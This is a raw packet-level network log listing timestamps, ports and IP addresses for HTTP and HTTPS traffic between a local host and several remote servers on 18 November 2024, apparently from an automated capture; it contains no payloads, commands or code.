Nov 18, 2024 21:04:21.771549940 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.772070885 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.772150040 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.772190094 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.776710987 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:21.782819986 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:21.837182045 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837280035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837291956 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837403059 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.837404013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.837404013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.837522030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837532997 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837582111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.837811947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837826014 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.837871075 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.838289976 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.838303089 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.838315010 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.838354111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.838354111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.842365026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.842502117 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.842542887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.842542887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.842650890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.842716932 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.893001080 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.896610975 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.901545048 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.920914888 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.920942068 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.921350956 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.921356916 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.921647072 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.921679020 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.922302008 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.922389030 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.922843933 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.922863960 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.923218966 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.923223972 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.943480015 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.943793058 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.943814993 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.944308996 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:21.944313049 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:21.991954088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.991971970 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.991986036 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.992167950 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.992167950 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.992383003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.992397070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.992575884 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.992577076 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.992839098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.992850065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.992861032 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.993025064 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.993026018 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.993479013 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.993542910 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.993752003 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.993765116 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.993776083 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.993807077 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.993843079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.994477034 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.994489908 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.994501114 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.994539976 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.994571924 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.995210886 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.995224953 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.995234966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.995246887 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.995269060 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.995301962 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.995978117 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.995990038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.996000051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.996010065 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:21.996026993 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.996061087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:21.996061087 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.047898054 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.048136950 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.048194885 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.048299074 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.048401117 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.048496008 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.049330950 CET	49855	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.049349070 CET	443	49855	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.050216913 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.050276995 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.050359964 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.055061102 CET	80	49845	185.215.113.206	192.168.2.4
Nov 18, 2024 21:04:22.055133104 CET	49845	80	192.168.2.4	185.215.113.206
Nov 18, 2024 21:04:22.059372902 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.059372902 CET	49857	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.059422016 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.059453011 CET	443	49857	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.062277079 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.062283993 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.062308073 CET	49856	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.062313080 CET	443	49856	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.075881004 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.075952053 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.076005936 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.076015949 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.076059103 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.076195955 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.085916996 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.085923910 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.085933924 CET	49858	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.085937977 CET	443	49858	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.145565987 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.145628929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.145637035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.145653009 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.145679951 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.145699978 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.145914078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.145925999 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.145961046 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.145977974 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.146349907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.146361113 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.146395922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.146688938 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.146702051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.146727085 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.146750927 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.147128105 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147140026 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147151947 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147178888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.147196054 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.147757053 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147768021 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147779942 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.147795916 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.147814035 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.147823095 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.148442030 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.148453951 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.148467064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.148477077 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.148479939 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.148502111 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.148648024 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.149204016 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149216890 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149228096 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149259090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.149259090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.149935961 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149949074 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149960041 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149976015 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.149976015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.150002956 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.150031090 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.150679111 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.150690079 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.150701046 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.150717974 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.150733948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.150744915 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.151421070 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.151433945 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.151444912 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.151462078 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.151475906 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.151485920 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152216911 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152230024 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152240992 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152252913 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152271032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152271032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152290106 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152301073 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152822971 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152836084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152846098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152858019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.152879000 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152879000 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.152909994 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.153635979 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.153649092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.153660059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.153671980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.153721094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.153721094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.153721094 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.154463053 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.154475927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.154485941 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.154524088 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.154525042 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.166153908 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.166189909 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.166260958 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.167751074 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.167803049 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.167855024 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.169420004 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.169450998 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.169552088 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.170418024 CET	49860	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.170438051 CET	443	49860	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.170907974 CET	49861	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.170926094 CET	443	49861	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.171055079 CET	49862	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.171070099 CET	443	49862	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.171875954 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.171888113 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.171973944 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.172406912 CET	49863	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:22.172418118 CET	443	49863	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:22.299640894 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299766064 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299777031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299871922 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.299910069 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299923897 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299936056 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299947977 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.299951077 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.299982071 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.300017118 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.300558090 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.300568104 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.300579071 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.300591946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.300601959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.300618887 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.300620079 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.300684929 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.301213980 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.301227093 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.301237106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.301249981 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.301275015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.301275015 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.301311016 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.301980972 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.301991940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302002907 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302006960 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302018881 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302028894 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.302064896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.302064896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.302865028 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302877903 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302889109 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302900076 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302911043 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.302932024 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.302993059 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.303723097 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.303736925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.303746939 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.303759098 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.303787947 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.303787947 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.303823948 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.304435968 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304454088 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304465055 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304476023 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304486990 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304492950 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.304500103 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.304527998 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.304527998 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.304560900 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.305294991 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305309057 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305318117 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305330038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305341959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305355072 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.305361032 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.305394888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.305394888 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.306279898 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.306298018 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.306308031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.306318998 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.306329966 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.306340933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.306340933 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.306375027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307111025 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307123899 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307132959 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307143927 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307156086 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307171106 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307183027 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307225943 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307226896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307226896 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307879925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307893038 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307903051 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307914019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307930946 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.307945013 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.307976961 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.308747053 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308759928 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308768988 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308780909 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308790922 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308799028 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.308804035 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.308839083 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.308871984 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.309670925 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.309683084 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.309694052 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.309705019 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.309716940 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.309739113 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.309771061 CET	49853	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:22.310451031 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310463905 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310473919 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310486078 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310496092 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310507059 CET	80	49853	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:22.310516119 CET	49853	80	192.168.2.4	185.215.113.16
